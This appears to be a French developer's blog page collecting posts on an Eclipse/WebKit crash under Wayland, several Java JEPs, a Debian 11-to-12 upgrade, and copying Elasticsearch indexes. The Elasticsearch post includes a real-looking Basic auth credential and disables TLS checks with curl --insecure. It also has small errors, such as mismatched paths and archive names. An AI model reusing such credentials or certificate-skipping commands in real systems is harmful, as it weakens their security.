Billets de Lilian

Eclipse plante systématiquement sous Debian (et autres distribution Linux)

sam., 11 mai 2024 00:00:00 +0200

Table of Contents

Contexte
- Scénarios de reproduction
Cause
Solution
- Dans le détail
- Spring STS
Pour le futur
Références

Contexte

Ce vendredi, comme régulièrement, je mets à jour mon système avec des corrections liés à des alertes de sécurité.

Cependant, lorsque je démarre Eclipse. Ce dernier se ferme brutalement.

J’obtiens l’erreur suivante dans la console.

(Eclipse:54856): Gdk-CRITICAL **: 09:49:17.679: gdk_window_create_gl_context: assertion 'GDK_IS_WINDOW (window)' failed
#
# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x00007fcf2033b2c8, pid=54856, tid=54857
#
# JRE version: OpenJDK Runtime Environment (17.0.11+9) (build 17.0.11+9-Debian-1deb12u1)
# Java VM: OpenJDK 64-Bit Server VM (17.0.11+9-Debian-1deb12u1, mixed mode, sharing, tiered, compressed oops, compressed class ptrs, g1 gc, linux-amd64)
# Problematic frame:
# C  [libwebkit2gtk-4.0.so.37+0xd3b2c8]
#
# No core dump will be written. Core dumps have been disabled. To enable core dumping, try "ulimit -c unlimited" before starting Java again
#
# An error report file with more information is saved as:
# /tmp/hs_err_pid54856.log
#
# If you would like to submit a bug report, please visit:
#   https://bugs.debian.org/openjdk-17
# The crash happened outside the Java Virtual Machine in native code.
# See problematic frame for where to report the bug.
#

Scénarios de reproduction

Voici deux scénarios identifiées qui permettent de reduire le problème :

Utilisation de l’autocomplétion
Ouverture de la boite de dialogue Eclipse Marketplace (Menu Help)

J’ai pu reproduire le problème avec les versions suivantes d’Eclipse : 2023-09 et 2024-03

Cause

Le problème se situe au niveau de la librairie libwebkit2gtk-4.0 qui provoque l’erreur suivante : gdk_window_create_gl_context: assertion 'GDK_IS_WINDOW (window)' failed

Après mes recherches, cela concerne les environnements fonctionnant sous Wayland. C’est pourquoi, certaines solutions préconisent de repasser sous X11 (ce n’est pas une solution viable étant donné que X11 va bientôt disparaitre des distributions)

Solution

La solution est de désactiver l’accélération matériel au niveau de la librairie Webkit2Gtk. Pour ce faire, il est nécessaire de définir la variable d’environnement WEBKIT_DISABLE_DMABUF_RENDERER et de le positionner la valeur 1.

export WEBKIT_DISABLE_DMABUF_RENDERER=1

Dans le détail

La librairie en cause est :

/usr/lib/x86_64-linux-gnu/libwebkit2gtk-4.0.so
/usr/lib/x86_64-linux-gnu/libwebkit2gtk-4.1.so

Effectivement, cette dernière a été mise à jour lors des patchs de sécurité du 9 mai. La version installée est la version 2.44.1-1~deb12u1. Je n’ai pas compris le lien entre la numérotation du package Debian et celle de la librairie.

De plus, le problème est plus générale et ne concerne pas uniquement Debian.

Effectivement, Nous pouvons retrouver des problèmes équivalent pour ArchLinux, Fedora, Ubuntu.

Spring STS

Pour les personnes qui utilise Spring STS. C’est la même cause, donc la même solution.

Pour le futur

Le correctif est déjà pris en charge au niveau de SWT (librairie graphique utilisée par Eclipse). Il a été inclus le 28 mars 2024. De ce fait, le problème sera traité avec la version 2024-06 d’Eclipse.

Le correctif applique la même solution, c’est à dire de désactiver l’accélération matérielle, mais au niveau du code (Disable WebkitGtk hardware-acceleration pour les curieux)

Pour information, cette solution est celle utilisée par Gnome comme le projet Evolution.

Références

JEP 463, Implicitly Declared Classes and Instance Main Methods (Second Preview)

dim., 7 janv. 2024 00:00:00 +0100

Table of Contents

Contexte
Nouveauté
Principe
Exécution
Détails sur le lancement
Détails sur la classe explicitement nommé
Références

Contexte

Comme la précdente JEP, l’objectif est de faciliter l’apprentissage du langage Java pour les étudiants, en enlevant certaines "cérémonies" du langage.

Cela permet à l’étudiant d’appréhender plus facilement le langage et d’ajouter les fonctionnalités et la complexité au fûr et à mesure de son apprentissage.

Pour rappel, un exemple de premier programme correspond au code suivant :

public class Bonjour {
    public static void main(String[] args) {
        System.out.println("Bonjour à tous !");
    }
}

Exemple de syntaxe qui peut dérouter l’étudiant

Déclaration d’une classe publique avec le mot réservé class
Utilisation de String[] pour les paramètres
Le modificateur static est généralement troublant au début.

Nouveauté

Cette monture prend en compte des retours de la JEP 445: Unnamed Classes and Instance Main Methods (Preview)

Elle amène deux simplications:

La classe est maintennant implicitement nommée par le nom du fichier défini au niveau du système d’exploitation
Le déroulement pour rechercher la bonne méthode est simplifié. C’est à dire que la JVM recherche une méthode main avec un argument String[] , puis sans résultat, elle recherche une méthode main sans argument.

Il est à noter que de toute façon, on ne peut pas avoir la même méthode avec ou sans le mot clé static. Donc il y aura de confusion suite à cette simplification.

Principe

Le premier principe est de ne pas obliger que la méthode main soit statique (static). C’est à dire qu’il est possible d’avoir une simple méthode d’instance. (d’où le nom : Instance Main Methods) De même, le terme public n’est plus nécessaire et le paramètre String[] devient optionnel.

Le second principe est de considérer l’ensemble du fichier correspond à une classe sans nom qui sera créé implicement avec le nom du ficheir (d’où le nom : Implicitly Declared Classes).

Cela donne le code suivant comme résultat :

void main() {
    System.out.println("Bonjour à tous !");
}

Exécution

Nous pouvons passer par le compilateur, puis par la JVM. N’oubliez pas que c’est une fonctionnalité en aperçu, donc il faudra l’option --enable-preview

L’utilisation de l’option --enable-preview demandera de préciser le niveau de la source ou de la release.

Nous avons avec le schéma classique avec le compilateur

javac --release 21 --enable-preview Bonjour.java
java --enable-preview Bonjour

Comme je l’évoqué dans le précédent billet, depuis la JEP 330 (Launch Single-File Source-Code Programs), disponible depuis le JDK 11, nous pouvons passer par une et une seule commande:

java --source 21 --enable-preview Bonjour.java

Dans les deux cas, nous obtenons l’exécution suvante :

Note: Main.java uses preview features of Java SE 21.
Note: Recompile with -Xlint:preview for details.
Bonjour à tous!

Détails sur le lancement

Comme indiqué dans le paragraphe sur les nouveautés.

La recherche du point d’entrée est :

rechercher une méthode main avec l’argument String[]
rechercher une méthode main avec sans argument

La méthode doit être déclarée comme une méthode non privée (c’est à dire avec la visibilité publique, protégée ou package).

Il est à noter que si la méthode est une méthode d’instance (sans static). Il sera nécessaire d’avoir un construction sans argument non privé.

Détails sur la classe explicitement nommé

Il est possible de définir des variables. Ils seront traduits par attributs de la classe.

String bonjour = "Bonjour à tous!";

void main() {
    System.out.println(bonjour);
}

De même, pour les fonctions.

String bonjour() { return "Bonjour à tous!"; }

void main() {
    System.out.println(bonjour());
}

Références

Debian - Montée de version de Debian 11 (Bullseye) à Debian 12 (Bookworm)

sam., 30 déc. 2023 00:00:00 +0100

Table of Contents

Contexte
Pré-requis
Montée de version
Vérification
Problèmes
- Problèmes avec les pilotes Nvidia
Références

Contexte

La version 12 de Debian (Bookworm) est disponible depuis le 10 juin 2023.

Le 10 décembre dernier, la dernière mise à jour est disponible 12.4.

Un nouveauté très intéressante est qu’il existe une nouvelle section d’archive non-free-firmware. Elle contient les microprogrammes non libres. Le but est d’avoir cette section au niveau du programme d’installation Debian, c’est à dire dans les CD officiels.

J’étais confronté à ce problème avec mon dernier portable. Ce dernier ne possède aucune carte réseau filaire, uniquement le Wifi de type Intel. Le microprogramme non-free devait être utilisé. Non, présent sur les CD officiels, Cela nécessite des opérations afin d’installer le pilote pour avoir le réseau.

Pour cela, un vote à eu lieu pour la mise à jour du Contrat Social Debian afin que les micro-programmes non libre puisse être inclus dans le CD Officiel (Plus d’informations sur la résolution)

Passons aux opérations pour la mise à niveau.

Pré-requis

Pensez à vérifier que vos sauvegardes sont faites.

Bien que je n’ai jamais eu de problème lors des montées de versions. Il est de bon usage de le faire et de le faire même régulièrement.

Etape 1 : Il est nécessaire d’être à jour sur les dernières versions de Debian 11

Note	Se connecter en tant que root

apt update && apt upgrade

Etape 2 : Redémarrage du système s’il y a eu des nouveaux packages.

reboot

Montée de version

Etape 1 : Mise à jour des fichiers de configuration de apt pour indiquer bookworm .

sed -i 's/bullseye/bookworm/g' /etc/apt/sources.list

Etape 2 : Ajout la section non-free-firmware sur chaque ligne

Vous devrez avoir le fichier suivant :

/etc/apt/sources.list

deb http://deb.debian.org/debian/ bookworm main non-free-firmware contrib
deb-src http://deb.debian.org/debian/ bookworm main non-free-firmware contrib

deb http://security.debian.org/debian-security bookworm-security main non-free-firmware contrib
deb-src http://security.debian.org/debian-security bookworm-security main non-free-firmware contrib

deb http://deb.debian.org/debian/ bookworm-updates main contrib non-free-firmware
deb-src http://deb.debian.org/debian/ bookworm-updates main contrib non-free-firmware

Etape 3 : Mettez à jour les références des packages

apt update

Etape 4 : Faites la mise à niveau à proprement en parler.

apt full-upgrade

Vous pouvez avoir des demandes pour relancer les services.

Etape 5 : Redémarrage du système pour bénéficier du dernier noyau.

reboot

Vérification

Etape 1 : Vérification de la version installé

cat /etc/os-release

sortie standard

PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Etape 2 : Vérification uniquement de la version installé

-----cat /etc/debian_versionn-----
[source,bash]
.sortie standard
----
12.4
----

Problèmes

Problèmes avec les pilotes Nvidia

Je n’étais pas concerné mais j’ai pu lire que des personnes avaient des problèmes avec les pilotes Nvidia et qu’il était préférable de les supprimer

Option 1 :

-----apt autoremove nvidia* --purge-----

Option 2 :*

-----/usr/bin/nvidia-uninstall
-----

Références

JEP 451, Prepare to Disallow the Dynamic Loading of Agents

dim., 17 déc. 2023 00:00:00 +0100

Table of Contents

Contexte
Objectif
Histoire
Références

Contexte

Les agents Java existent depuis le JDK 5. L’idée des agents est de faire de l’instrumentation de code (via l’API java.lang.instrument). L’usage courant est celui des profileurs. Via l’agent, ils vont pouvoir calculer le temps passé dans les méthodes par exemple.

La possibilité d’attacher un agent vient avec le JDK 6 et l’API Attach (API non officielle mais supportée). Cela permet l’utilisation d’outil comme jconsole ou jcmd.

Objectif

Ces agents ont des supers pouvoirs, vis à vis de la JVM, par l’instrumentation, ou la programmation par aspect. Selon le cas, cela peut altérer le comportement normale de l’application.

C’est pourquoi, afin de garantir l’intégrité de l’application, le chargement de l’agent sera désactivé par défaut dans des prochaines versions.

L’objectif n’est pas de supprimer cette fonctionnalité mais qu’elle soit controlée :

soit via le chargement au démarrage de la JVM
soit via le chargement dynamique mais autorisé de manière explicite.

Pour l’heure, l’objectif est de préparer ce changement par la sortie d’un avertissement quand le chargement dynamique a lieu mais qu’elle n’a pas été autorisée. Donc, pas de blocage pour l’instant.

Si un agent est chargé dynamiquement, l’avertissement suivant sera affiché.

WARNING: A {Java,JVM TI} agent has been loaded dynamically (file:/u/bob/agent.jar)
WARNING: If a serviceability tool is in use, please run with -XX:+EnableDynamicAgentLoading to hide this warning
WARNING: If a serviceability tool is not in use, please run with -Djdk.instrument.traceUsage for more information
WARNING: Dynamic loading of agents will be disallowed by default in a future release

Si l’option -XX:+EnableDynamicAgentLoading est utilisé, il n’y aura pas d’avertissement.

Donc si vous utilisez le chargement dynanique, pour bien préparer le prochain changement à ce niveau, pensez à rajouter cette option. Vous n’aurez plus de message et lorsque le chargement dynamique sera désactivé par défaut, vous n’aurez rien à faire.

Histoire

Cette proposition existe depuis la construction du JDK 9 (en 2017) lors de l’ajout des modules.

Seulement, par consensus, il a été décidé de reporter cette proposition à plus tard. Le but est que les mainteneurs des outils puissent s’adapter vis à vis de ce changement.

Cela avance et l’ajout de l’avertissement en cas d’usage permet de faciliter la transition.

Références

JEP 451: Prepare to Disallow the Dynamic Loading of Agents

JEP 444, Virtual Threads

dim., 10 déc. 2023 00:00:00 +0100

Table of Contents

Contexte
Objectif
Utilisation
- Remarques
Compléments sur l’API
Différence sur l’API
Nouveautés
- Compatible avec les variables Thread-local
- Concurrence
Références

Contexte

Les threads virtuels ont été introduits dans le JDK 19 en mode aperçu, améliorés dans le JDK 20. Ils sont maintenant intégrés en standard. Cela correspond à une proposition incluant les travaux du projet Loom

Le thread au niveau de la JVM sont basés sur les threads systèmes. C’est à dire que c’est le système qui s’occupe de planifier leur execution. Cela implique aussi que le nombre de thread est limité car cela nécessite des ressources systèmes.

Objectif

L’objectif est d’avoir un thread léger qui permettent d’avoir des milliers et des millions de thread afin de réaliser des traitements concurrents.

Les threads classiques s’appellent maintenant les threads plateformes ("a plateform thread") afin de les différencier des threads virtuels.

Ce qui est intéressant, c’est que les threads virtuels héritent de la même classe java.lang.Thread. En revanche, il n’y a pas de constructeurs. En effet, la mode est de passer de plus en plus par des fabriques de méthodes. Pour cela, nous avons la méthode statique : Thread.startVirtualThread()

Le thread est démarré avec une instance de l’interface java.lang.Runnable. Ainsi, nous pouvons écrire la classe suivante :

class HelloRunnable implements Runnable {
    public void run() {
        System.out.println(Thread.currentThread() + " dit Coucou");
    }
}

Utilisation

Nous pouvons tester les threads virtuels avec la commande jshell.

bin/jshell

Nous allons commcer par déclarer la classe HelloRunnable cité ci-dessus. Ensuite, nous allons pouvoir créer notre instance.

var inst = new HelloRunnable();

Il nous reste à démarrer le thread virtuel.

Thread.startVirtualThread(inst);

A noter, que nous pouvons utiliser la méthode Thread.ofVirtual() qui utilise le pattern Builder

Thread.ofVirtual().start(inst);

Cette méthode offre deux avantages :

Nous avons une méthode similaire pour les threads plateformes

Thread.ofPlatform().start(inst);

Nous pouvons créer une instance sans démarrer le thread (ou en tout cas sans le démarrer tout de suite.)

Thread courant = Thread.ofVirtual.unstarted(inst);
courant.start();

Pour rappel, Java 8 est passé par là avec les lambas. Donc nous pouvons écrire tout simplement :

Thread.ofVirtual().start(() -> {
    System.out.println(Thread.currentThread() + " dit Coucou");
});

Remarques

En exécutant le code ci-dessus, nous obtenons la sortie suivante

VirtualThread[#25]/runnable@ForkJoinPool-1-worker-1 dit Coucou
$1 ==> VirtualThread[#25]/runnable

Le #25 est une sorte de compteur de thread virtuel. Si nous exécutons de nouveau la même commande, nous obtiendrons la sortie suivante

VirtualThread[#26]/runnable@ForkJoinPool-1-worker-1 dit Coucou
$1 ==> VirtualThread[#26]/runnable

C’est normal car nous lançons un nouveau thread virtuel. Ce qui veut dire que la première fois, il y a eu 24 thread virtuels exécutés avant notre premier appel.

Qui les utilisent ? La JVM elle-même.

Compléments sur l’API

Il est possible de savoir si nous sommes dans un thread virtuel ou non. Nous avons la méthode Thread.isVirtual() qui renvoie un booléen.
Les méthodes Thread.join() et Thread.sleep() possède une surcharge prenant en paramètre une instance de Duration.

try (var executor = Executors.newVirtualThreadPerTaskExecutor()) {
    IntStream.range(0, 10_000).forEach(i -> {
        executor.submit(() -> {
            Thread.sleep(java.time.Duration.ofSeconds(1));
            System.out.println(" " + i + " : " + Thread.currentThread());
            return i;
        });
    });
}

A noter que dans l’exemple précédent, nous venons de créer 10 000 threads virtuels.

La méthode Thread.getId() est dépréciée. Il faut passer par la méthode Thread.threadId(). Ce dernier renvoie un identifiant.

La raison est que la méthode getId() n’est pas une méthode finale donc il est possible de la surcharger.

La méthode Thread.getAllStackTraces() retourne une map de toutes les threads plateforme et non tous les threads comme son nom le laisse penser.

Cela s’explique car nous pouvons avoir des millions de threads virtuels donc il n’y a pas de sens de retourner une map aussi grosse.

Différence sur l’API

Les threads virtuels sont forcément des threads daemon. La méthode Thread.setDaemon() n’a pas d’effet.

Pensez à cela pour les conditions d’arrêt de la JVM. En effet, il faut au moins un thread plateforme sinon la JVM s’arrête.

Dans le même style, la priorité est fixée à Thread.NORM_PRIORITY. La méthode Thread.setPriority() n’a pas d’effet.
Les méthodes stop(), suspend() et resume() lèvent une exception lors de leur invocation si c’est un thread virtuel.

Pour rappel, ces méthodes sont déjà dépréciés au moins depuis le JDK 6.

Dans le même sens de l’histoire, il n’y a pas de permissions si le SecurityManager est activé.

Pour rappel, ce dernier est déprécié pour suppression depuis le JDK 17. Plus d’informations, dans ce billet JDK 17 Nouveautés

Nouveautés

Compatible avec les variables Thread-local

Les threads virtuels supportent maintenant les variables thread-local (ThreadLocal).

Il faudra néanmoins faire attention. Le support est présent uniquement pour faciliter la migration et le support des librairies vers les threads virtuels. C’est à dire que cela reste à éviter au maximum vis à vis des contraintes.

Ce qu’il faut absolument éviter, c’est de faire une réserve ("un pool") de thread.

Le mieux est d’utiliser les "Scoped valued" JEP 429, mais cela est une autre JEP.

Une propriété système jdk.traceVirtualThreadLocals permet de tracer toute utilisation de ThreadLocal dans les threads virtuels. Par défaut, la valeur est false.

Concurrence

Là encore, pour faciliter la transition, notamment avec l’API des Executeurs, il existe maintenant Executors.newVirtualThreadPerTaskExecutor() qui permet d’avoir un thread virtuel par tâche.

Références

JEP 425: Virtual Threads

JEP 440, Records Pattern

dim., 3 déc. 2023 00:00:00 +0100

Table of Contents

Contexte
Principe
- Pour aller plus loin
Exhaustivité du switch
Références

Contexte

Le principe est l’utilisation des motifs introduits par filtrage par motif pour instanceof, mais de l’appliquer pour les enregistrements.

Pour plus d’informations sur le filtrage par motif pour instanceof, je vous conseille cette article JEP 394 - Pattern Matching for instanceof

Cette fonctionnalité a connu deux aperçu

JEP 405 inclus dans le JDK 19
JEP 432 inclus dans le JDK 20

Maintenant, c’est bien une fonctionnalité standard qui sera inclus dans le JDK 21.

Principe

L’objectif est d’écrire du code utilisant les deux fonctionnalités précédentes : Les enregistrements (Record) et les motifs (Patterns).

Prenons la définition de l’enregistrement Point suivant :

record Point(int x, int y) {}

D’ores et déjà, nous pouvons écrire le code suivant avec le filtrage par motif pour instanceof:

static void afficheSomme(Object o) {
    if (o instanceof Point p) {
        int a = p.x();
        int b = p.y();
        System.out.println(a + b);
    }
}

Les classes classiques sont basées sur le principe de l’encapsulation. C’est à dire que nous connaissons le contrat de services via l’interface mais nous ne connaissons pas le détail de l’implémentation.

A l’inverse, les enregistrements (Record) mettent en avant leur structure interne. L’enregistrement Point est composé d’une valeur x et d’une valeur y.

Par ce principe, nous allons pouvoir écrire l’instruction instanceof comme ceci :

void afficheSomme(Object o) {
    if (o instanceof Point(int a, int b)) {
        System.out.println(a + b);
    }
}

Pour aller plus loin

Nous pouvons manipuler des enregistrements plus complexe. Par exemple, prenons un enregistrement Rectangle qui est composé de deux Point:

record Rectangle(Point hautGauche, Point basDroit) {}

Par conséquent, nous pouvons écrire le code suivant :

static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point hg, Point bd)) {
         System.out.println(hg.x() + hg.y());
    }
}

Ce qui nous intéresse dans le code est le point haut à gauche, donc nous pouvons ignorer le second point.

static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point hg, var bd)) {
         System.out.println(hg.x() + hg.y());
    }
}

En revanche, nous savons qu’un Point contient deux valeurs. Par conséquent, nous pouvons appliquer le même principe.

static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point(int a, int b) hg, var bd)) {
         System.out.println(a + b);
    }
}

Exhaustivité du switch

Prenons les définitions suivantes pour Forme, Triangle, Rectangle et Paire :

sealed interface Forme permits Triangle, Rectangle {}
final class Triangle implements Forme {}
final class Rectangle implements Forme {}
record Paire<T>(T x, T y) {}

Nous pouvons définir une variable comme celle-ci

Paire<Forme> p1 = ...;

L’interface Forme est une interface scellée. Cela peut être soit une classe Triangle, soit une classe de Rectangle. Nous pouvons écrire l’instruction switch suivante :

switch (p1) {
    case Paire<Forme>(Triangle  p, Forme s) -> ...
    case Paire<Forme>(Rectangle p, Forme s) -> ...
}

Ci-dessus, l’ensemble des cas de l’instruction switch est défini. Tous les combinaisons possibles sont traitées.

Maintenant, nous pouvons aussi écrire le code suivant :

switch (p1) {
    case Paire<Forme>(Triangle p, Forme s) -> ...
    case Paire<Forme>(Rectangle p, Triangle s) -> ...
    case Paire<Forme>(Rectangle p, Rectangle s) -> ...
}

Nous avons simplement décomposé le deuxième cas du switch (Rectangle p, Forme s) avec les différents cas possibles de Forme : la classe Triangle et la classe Rectangle.

Maintenant, regardons le code suivant :

switch (p2) { // Erreur !
    case Paire<Forme>(Triangle p, Rectangle s) -> ...
    case Paire<Forme>(Rectangle p, Triangle s) -> ...
    case Paire<Forme>(Forme p, Triangle s) -> ...
}

Ce dernier provoque une erreur de compilation car il manque le second cas avec le premier paramètre de type Forme et le second paramètre de type Rectangle.

Là encore, le compilateur nous aide pour traiter l’exhaustivité des cas pour l’écriture des switch.

Cela est très utile pour la mise en place ou si on ajoute une nouvelle classe dérivée à l’interface scellée Forme comme la classe Cercle par exemple. Le compilateur signalera tous les endroits où des cas ne sont pas traités.

Références

JEP 431, Sequenced Collections

dim., 26 nov. 2023 00:00:00 +0100

Table of Contents

Contexte
Principe
Implémentation
Risques
Références

Contexte

L’objectif est d’avoir des interfaces qui permettent d’avoir des collections gérant l’ordonnancement.

Actuellement, des méthodes existent sur certaines classes mais n’ont pas forcément le même nom. Cela ne permet pas de manipuler simplement ces objets.

          | Premier élément   | Dernier élément
#---------+-------------------+-----------------------------
List 	  | list.get(0)       | list.get(list.size() - 1)
Deque 	  | deque.getFirst()  | deque.getLast()
SortedSet | sortedSet.first() | sortedSet.last()
#---------+-------------------+-----------------------------

Principe

Pour atteindre cet objectif, une API unifiée a été mis en place. Pour cela, l’interface SequencedCollection a été introduite.

interface SequencedCollection<E> extends Collection<E> {
    // new method
    SequencedCollection<E> reversed();
    // methods promoted from Deque
    void addFirst(E);
    void addLast(E);
    E getFirst();
    E getLast();
    E removeFirst();
    E removeLast();
}

On peut remarquer que la manière de récupérer le premier et le dernier est normalisée par les méthodes getFirst() et getLast().

Il est intéressant de noter la présence de la méthode reversed(). Elle permet d’obtenir simplement la collection dans l’ordre inversé.

Au niveau des ensembles Set, nous avons ensuite l’interface SequencedSet.

interface SequencedSet<E> extends Set<E>, SequencedCollection<E> {
    SequencedSet<E> reversed();    // surcharge covariante
}

Il est à noter la surcharge de la méthode reverse() qui renvoie SequencedSet au lieu d’un simple SequencedCollection.

pour finir, nous avons une interface pour les maps avec l’interface SequencedMap :

interface SequencedMap<K,V> extends Map<K,V> {
    // new methods
    SequencedMap<K,V> reversed();
    SequencedSet<K> sequencedKeySet();
    SequencedCollection<V> sequencedValues();
    SequencedSet<Entry<K,V>> sequencedEntrySet();
    V putFirst(K, V);
    V putLast(K, V);
    // methods promoted from NavigableMap
    Entry<K, V> firstEntry();
    Entry<K, V> lastEntry();
    Entry<K, V> pollFirstEntry();
    Entry<K, V> pollLastEntry();
}

Implémentation

De plus, les nouvelles interfaces sont intégrées dans la hiérarchie de classes et d’interfaces existantes.

Par exemple, nous avons :

List réalise l’interface SequencedCollection
Deque réalise l’interface SequencedCollection en plus de l’interface Queue
SortedSet et LinkedHashSet réalisent l’interface SequencedSet au lieu de directement Set
SortedMap et LinkedHashMap réalisent l’interface Sequencedmap au lieu de directement Map

Risques

Il est à noter qu’une analyse de risque a été faite. Lors de cette phase, des problèmes de compilation ont été identifiées sur 31 artefacts sur le corpus entier de Maven Central (soit un total de 37 377 artefacts). Cela représente seulement 0.08%. (Lien vers la page de l’analyse est en référence, plus bas)

Là encore, le compilateur est notre allié.

Références

Elasticsearch - Comment copier un index sur une autre instance ?

dim., 30 juil. 2023 00:00:00 +0200

Table of Contents

Contexte
Utilisation de la réindexation
Utilisation de la sauvegarde et restauration
- La sauvegarde
- La restauration
Références

Contexte

Nous avons deux instances Elasticsearch distinctes (qui ne sont pas dans le même cluster). Le but est de regarder ensemble les solutions qui existent pour copier un index d’une instance à l’autre.

Nous allons utiliser l’outil curl pour interagir avec elasticsearch. Comme cela est fortement conseillé depuis longtemps et par défaut maintenant, les accès sont sécurisés et protégés par un certificat SSL. Je suis resté avec le certificat auto-généré par défaut. C’est pourquoi j’ajoute l’option --insecure au niveau de la commande curl

curl --request GET \
  --insecure    \
  --url https://ADR_IP_INSTANCE_A:9200/ \
  --header 'Authorization: Basic ZWxhc3RpYzo0ZFpQUFlTRExaSWpOQmFQUGZVUw=='

Voici le résultat :

{
	"name": "localhost",
	"cluster_name": "elasticsearch",
	"cluster_uuid": "xJqE_y6GS2OuWNaNpSrn3A",
	"version": {
		"number": "8.9.0",
		"build_flavor": "default",
		"build_type": "tar",
		"build_hash": "8aa461beb06aa0417a231c345a1b8c38fb498a0d",
		"build_date": "2023-07-19T14:43:58.555259655Z",
		"build_snapshot": false,
		"lucene_version": "9.7.0",
		"minimum_wire_compatibility_version": "7.17.0",
		"minimum_index_compatibility_version": "7.0.0"
	},
	"tagline": "You Know, for Search"
}

Utilisation de la réindexation

La première possibilité est de passer par une demande de réindexation de l’instance B depuis un index hébergé sur l’instance A.

Pré-requis : l’instance A doit être accessible via le réseau pour l’instance B.

Il est nécessaire d’ajouter l’instance A dans la liste blanche comme source pour la réindexation au niveau de l’instance B.

Pour cela, il faut modifier le fichier elasticsearch.yml de l’instance B pour rajouter la ligne suivante :

....
reindex.remote.whitelist: [ADR_IP_INSTANCE_A:9200]

Il sera nécessaire de redémarrer l’instance afin que la configuration soit prise en compte.

Maintenant, il reste plus qu’à lancer la commande pour démarrer la réindexation sur l’instance B.

Cela se fait avec une simple commande curl (ou équivalent permettant d’utiliser la méthode POST)

curl --request POST --insecure \
  --url httsp://ADR_IP_INSTANCE_B:9200/_reindex \
  --header 'Content-Type: application/json' \
  --header 'Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI' \
  --data '{
  "source": {
    "remote": {
      "host": "https://ADR_IP_INSTANCE_A:9200",
      "username": "elastic",
      "password": "MOT_A_PASSE_A_RENSEIGNER_ICI"
    },
    "index": "mon-index",
    "query": {
      "match_all": {}
    }
  },
  "dest": {
    "index": "mon-index"
  }
}'

Si tout se passe bien, vous obtenez le résultat suivant :

{
	"took": 294,
	"timed_out": false,
	"total": 1,
	"updated": 0,
	"created": 1,
	"deleted": 0,
	"batches": 1,
	"version_conflicts": 0,
	"noops": 0,
	"retries": {
		"bulk": 0,
		"search": 0
	},
	"throttled_millis": 0,
	"requests_per_second": -1.0,
	"throttled_until_millis": 0,
	"failures": []
}

Vous pouvez utiliser la commande _stats pour surveiller la réindexation

Exemple avec curl :

curl --insecure --header 'Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI' \
     --url https://ADR_IP:9200/mon-index/_stats

Consulter la documentation de l’Api REINDEX d’elasticsearch. Cette dernière est très riche.

Utilisation de la sauvegarde et restauration

La sauvegarde

La première étape est de définir un dépôt de sauvegarde (backup) au niveau de l’instance A. Pour cela, nous modifions le fichier elasticsearch.yml et rajouter la ligne suivante

path.repo: /datas/es-a/repo

Pré-requis : le répertoire /datas/es-a/repo devra exister avant le redémarrage.

Un redémarrage de l’instance A est nécessaire afin que la nouvelle configuration soit prise en compte.

A partir de ce moment, nous allons pouvoir passer à la seconde étape en définissant le répertoire pour la sauvegarde grâce à la commande curl suivante :

curl --request POST \
  --insecure --header 'Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI==' \
  --url https://ADR_IP_INSTANCE_A:9200/_snapshot/backups \
  --header 'Content-Type: application/json' \
  --data '{
  "type": "fs",
  "settings": {
    "location": "/datas/es-a/repo/backups"
  }
}'

Nous obtenons la réponse suivante :

{
	"acknowledged": true
}

Maintenant, nous allons pouvoir lancer la sauvegarde.

curl --request POST \
  --insecure --header 'Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI' \
  --url https://localhost:9200/_snapshot/backups/backup_20230730?wait_for_completion=true

L’ajout du paramètre wait_for_completion permet d’attendre que l’opération soit terminée. Ainsi quand la commande nous rend la main, la sauvegarde est faite.

Inversement, il est préférable d’utiliser cette option si la sauvegarde s’exécute dans un temps raisonnable.

Voici le résultat (mon index mon-index est très petit)

{
	"snapshot": {
		"snapshot": "backup_20230730",
		"uuid": "xXYjHpcDRHmRXlN9ey3XXA",
		"repository": "backups",
		"version_id": 8090099,
		"version": "8.9.0",
		"indices": [
			"mon-index",
			".security-7"
		],
		"data_streams": [],
		"include_global_state": true,
		"state": "SUCCESS",
		"start_time": "2023-07-30T11:56:49.099Z",
		"start_time_in_millis": 1691150209099,
		"end_time": "2023-07-30T11:56:49.299Z",
		"end_time_in_millis": 1691150209299,
		"duration_in_millis": 200,
		"failures": [],
		"shards": {
			"total": 2,
			"failed": 0,
			"successful": 2
		},
		"feature_states": [
			{
				"feature_name": "security",
				"indices": [
					".security-7"
				]
			}
		]
	}
}

Nous allons pouvoir créer l’archive. Pour cela, nous allons nous déplacer dans le répertoire où se trouve la sauvegarde. Dans notre cas, c’est le répertoire /datas/es-a/repo/backups/backup_20230730, puis de créer l’archive avec la commande tar en incluant toue le contenu du répertoire

cd /datas/es-a/repo/backups/backup_20230730
tar czvf ../backups-20230730.tar.gz *

La sauvegarde est terminée.

La restauration

Nous allons pouvoir continuer avec la restauration.

Comme tout à l’heure, il est nécessaire de définir un dépôt repo pour la restauration (restore) au niveau de l’instance B. Pour cela, nous modifions sur le fichier elasticsearch.yml et rajouter la ligne suivante

path.repo: /datas/es-b/repo

Pré-requis : le répertoire /datas/es-b/repo devra exister avant le redémarrage.

Un redémarrage de l’instance B est nécessaire afin que la nouvelle configuration soit prise en compte.

Nous allons créer physiquement le répertoire restore

cd /datas/es-b/repo
mkdir restore

Dans le répertoire, il faut décompresser l’archive précédente.

cd /datas/es-b/repo/restore
tar xzvf backups-20230717.tar.gz
rm backups-20230717.tar.gz

Vérifier que les droits des fichiers soient corrects. C’est à dire que l’utilisateur utilisé pour exécuter elasticsearch doit avoir les droits sur ces fichiers.

Dans un premier temps, nous allons déclarer le répertoire au niveau d’Elasticsearch, avec la commande suivante:

curl --request POST \
  --insecure --header 'Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI' \
  --url https://ADR_IP_INSTANCE_B:9200/_snapshot/restore \
  --header 'Content-Type: application/json' \
  --data '{
  "type": "url",
  "settings": {
    "url": "file:/datas/socle/repo/restore"
  }
}'

Nous obtenons la réponse suivante :

{
